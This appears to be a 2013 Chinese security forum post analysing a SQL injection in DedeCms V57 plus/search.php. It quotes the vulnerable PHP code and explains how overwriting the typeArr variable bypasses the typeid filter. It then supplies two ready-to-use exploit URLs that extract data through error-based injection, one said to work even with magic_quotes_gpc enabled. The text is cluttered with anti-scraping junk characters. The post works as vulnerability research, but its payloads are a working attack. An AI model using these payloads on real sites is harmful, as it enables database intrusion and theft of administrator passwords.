找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2138|回复: 0
打印 上一主题 下一主题

DedeCms V57 plus/search.php文件SQL注射

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-19 08:18:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.; ^% N9 V' d  I4 b" v9 b7 k* A
作者: c4rp3nt3r@0x50sec.org
0 R, u$ P1 G4 Q/ @7 r6 {5 B3 KDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.6 e% E! P; n( K- I0 ]3 S9 O% f1 g
9 C- N3 t' F0 a* i: _2 b
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.2 }) b- v) L0 Y- ~' |

. H6 P1 j7 `# m! n. Z( {+ b============
. m2 P! v- [6 W' d% t; g/ a1 `% @ , Z2 ]' L# a' G  T# e; M- H9 W2 j; U
; a% `0 J5 q. [0 w
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.# N: s! H3 J2 y/ q; Z4 N6 x8 X
4 O% z7 f! `2 h( H/ T
require_once(dirname(__FILE__).”/../include/common.inc.php”);. Z. X. n, ~; ]; v% i
require_once(DEDEINC.”/arc.searchview.class.php”);& H0 f5 |+ V% E0 H: [* l
' F# E* ]! J7 ~6 M! q
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
: u# {9 x0 T" V  Q0 N& q$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;8 U" {+ U, J& I/ E5 s/ B% i, H! H/ ?" ^
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
; L7 ?; F5 k3 s  ?* u' p7 z9 f) L$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;* @) g* J: q. T
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
: q. W* F6 d, d$ b5 {9 c0 ]+ E " V/ F6 D* ?! o# u' i9 R
if(!isset($orderby)) $orderby=”;7 }; a" L# T' }$ q+ h8 D+ K. f
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);0 c( U9 W5 S" {0 J( _
5 N2 i8 Q" O" F. i5 U
( D: A% k' p3 E/ N
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
) ~% @4 m  c* [* `& selse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);6 |2 U( z- G4 K. X
* L2 q! m" j) s1 p% x  `
if(!isset($keyword)){
/ }* _7 v% P' A    if(!isset($q)) $q = ”;
) T- P, [+ K0 W% ?$ f& a$ V& `2 L    $keyword=$q;
6 s' k! a6 c/ T# O9 ~$ k}
2 H2 f) ]. R) E5 K* \0 c
7 P" `" r6 u7 `0 I$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
$ c9 `, U) t/ J
' w) L) w7 h' s, m1 T) |3 S//查找栏目信息: R4 D8 C" m6 @) u2 C- l
if(empty($typeid))7 B. I# B5 `9 u9 W( X! X2 O
{& d# H. ~( i' n! `3 P! M
    $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;$ W% R/ _) X  n. U( @7 {- C7 ^
    if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
: k; q0 X2 g5 Y" R0 [5 n    {7 S7 _# ~) Q) \. O  D1 a, w$ [! t
        $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);0 C5 `. {) x' _& m4 \. t7 Y! }
        fwrite($fp, “<”.”?php\r\n”);1 s7 u7 u( m8 \: S( `* S5 S
        $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
" s! Z# M9 K; Y        $dsql->Execute();) ~0 Z2 F* T  j5 X# O
        while($row = $dsql->GetArray())
7 H. T: i" \( S% e% ^5 Q2 }5 G        {
& r+ G! j  x% \+ {            fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);5 w1 N7 D2 M9 a' F/ ^+ }+ d+ g& g
        }
4 `, z" B* C5 s' L. ~        fwrite($fp, ‘?’.'>’);
1 W" ^; z1 R. h" l        fclose($fp);
- _+ }" w1 |% K' s    }
! S# @. C! K8 x5 k, V, M1 b/ A    //引入栏目缓存并看关键字是否有相关栏目内容
. ~. X7 \+ f9 o& t5 G: f, B7 h: }6 V    require_once($typenameCacheFile);3 m- h3 o4 W9 F% p6 E6 B# ?  X, B
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
1 K7 w3 Q( @- }% b" z//* g6 o# R6 g: O" T, c1 B+ f6 L9 M
    if(isset($typeArr) && is_array($typeArr)): j5 H+ D' }% t/ m0 q
    {
  F/ r% u# a' t/ Q; r& p        foreach($typeArr as $id=>$typename)
$ d% x" Z2 E, L. i* [: W( J        {
/ O. j' v5 \" [' E, H8 y " E. f0 d* |) l( S* j; h. |
            <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font>  //这个地方要绕过
6 O3 ^% e* a+ E& V7 c: Y            if($keyword != $keywordn)
9 l5 k. ^! n8 C* J            {4 n2 h* G0 p: l! Y  g% Z+ J
                $keyword = $keywordn;& U( w# V$ _8 A( V
                <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设1 W1 U; J) N( i/ u6 v
                break;* q# ^  I) a; a" g0 l+ B' f  a
            }8 N, U! m* a8 @# G1 X* d5 o( Z
        }
6 {3 k# @' U: ~# A5 Y    }$ v/ a% s+ c4 g* C: z2 @- X
}0 c8 g1 |) k! |# N
然后plus/search.php文件下面定义了一个 Search类的对象 .
# e6 A$ y; G6 f0 T, D( M7 ~在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.. @& E4 l; F& ~# j8 S
$this->TypeLink = new TypeLink($typeid);5 Q! ~5 P5 B9 U" n2 N9 k/ f* A; e
# F- h! T4 Z2 ~+ ?3 m0 u
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
' j0 F- R- z6 A & i, Z2 N, v0 R6 o  g1 v) f" S
class TypeLink# n! \7 v% l8 q" v9 V2 P, ^
{
6 X8 A! u. w4 Y' L" E, Z$ z    var $typeDir;
- F+ _) ]9 C0 y! A: E$ B3 R    var $dsql;6 g" X8 P% k, U2 R* ?* j
    var $TypeID;
: H, ~# {  `6 y; k6 z    var $baseDir;
+ m$ m5 W8 f- W# `- h    var $modDir;
$ c; P& Z# Z& D    var $indexUrl;
' ~7 Y. P4 w% m" e5 `: b8 z    var $indexName;
* E# c  C. t+ X2 s  t: I4 a7 j  n    var $TypeInfos;) ~; `& A  E! J+ J' e7 G! E9 c
    var $SplitSymbol;* b: C0 q8 x# `
    var $valuePosition;4 c$ ?8 |, x  Q4 F- D+ P
    var $valuePositionName;
$ f1 d/ n- u7 ~% @) D    var $OptionArrayList;//构造函数///////
9 q) L' y. ~5 N/ ]    //php5构造函数: ~/ M# b1 \/ \% T7 m
    function __construct($typeid)2 f+ [3 X9 B+ I) t! W  ]- Z2 p9 b2 p
    {
: g6 ?4 [* N- A/ g2 C+ R  q# D        $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];0 K! d" U1 |4 B0 `- [( |
        $this->indexName = $GLOBALS['cfg_indexname'];
$ Y; s8 u+ X$ S( T% _9 c5 T        $this->baseDir = $GLOBALS['cfg_basedir'];! a: T! Q7 F6 u' ?0 p' }  J; O- `( g  M
        $this->modDir = $GLOBALS['cfg_templets_dir'];
- a+ G$ K* T" U' N% N. T) L6 M        $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];! x) C' Z  o- j3 d$ ^  Z( m8 [1 B
        $this->dsql = $GLOBALS['dsql'];, ^9 S) `3 |4 n* g5 P
        $this->TypeID = $typeid;5 v. R/ P% M# O
        $this->valuePosition = ”;0 G3 a# H$ R( d* W" F0 K6 i* B# R
        $this->valuePositionName = ”;8 Y0 Y# h3 p1 c
        $this->typeDir = ”;
0 D! E" C+ f; V7 T0 Q/ r; L        $this->OptionArrayList = ”;/ z, j* b# [/ e: y/ p8 f' @

& J5 r5 d% M% e- c' L: u7 n% {/ t, u        //载入类目信息6 a$ g6 X; x0 C% e0 m( p
! C/ A. P& ?4 J. p5 [
        <font color=”Red”>$query = “SELECT tp.*,ch.typename as
9 O+ m* @; G1 C! D- n3 Z9 Tctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join' k' k# }8 w8 B' T+ R! F3 R
`#@__channeltype` ch
& H. Q6 e5 R$ j8 u        on ch.id=tp.channeltype  WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
! G7 K! B: `- }, U : v2 \- W4 [) G
        if($typeid > 0)! P$ E" @; X( p7 G$ h0 H
        {
# Z. ^: `& p& N+ O3 N6 Q- S            $this->TypeInfos = $this->dsql->GetOne($query);
7 \3 ~0 ^- w, e2 N( h; R; c利用代码一 需要 即使magic_quotes_gpc = Off
$ q8 ]4 r, b! ?- @6 u8 D   f( b4 W& j! @3 ]. l( P
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title$ G4 P; j' A0 l6 n) I' K
. n5 C  n8 y8 g* l7 l8 i# z6 t: e+ C
这只是其中一个利用代码… Search 类的构造函数再往下
7 {3 }) D7 M3 V
5 o$ O1 P# g# Q: z4 v9 k1 r7 r……省略
2 h, j) V8 U0 u2 Y0 w0 z& F$this->TypeID = $typeid;* ?8 }5 J& z& M
……省略* J( E! f' g. p$ \$ L/ W
if($this->TypeID==”0″){
" i9 w& L+ M$ Z3 L/ h$ ?2 ^$ u4 v            $this->ChannelTypeid=1;* D# `4 w; V+ s" V
        }else{
% I( g  |0 s2 V0 J+ ]' }            $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
9 D- q3 I+ u/ g% T//现在不鸡肋了吧亲…
5 |" Q, @' r' I  a7 [            $this->ChannelTypeid=$row['channeltype'];. ?( d: ?' v7 J0 S- ?# u' A, a
' l1 _1 \% w; c: K- n4 D! z0 B
        }. U. m) H9 g3 }! {2 W8 G4 H1 H
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
( ], a4 w% X# U
& {( F' Q7 l4 L+ }8 w! [www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title9 D5 _- @# ?( w2 w( A5 G% M
6 l7 o4 T  H4 H6 u3 `
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站. w5 n' {  s" B/ }, Y( K9 H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表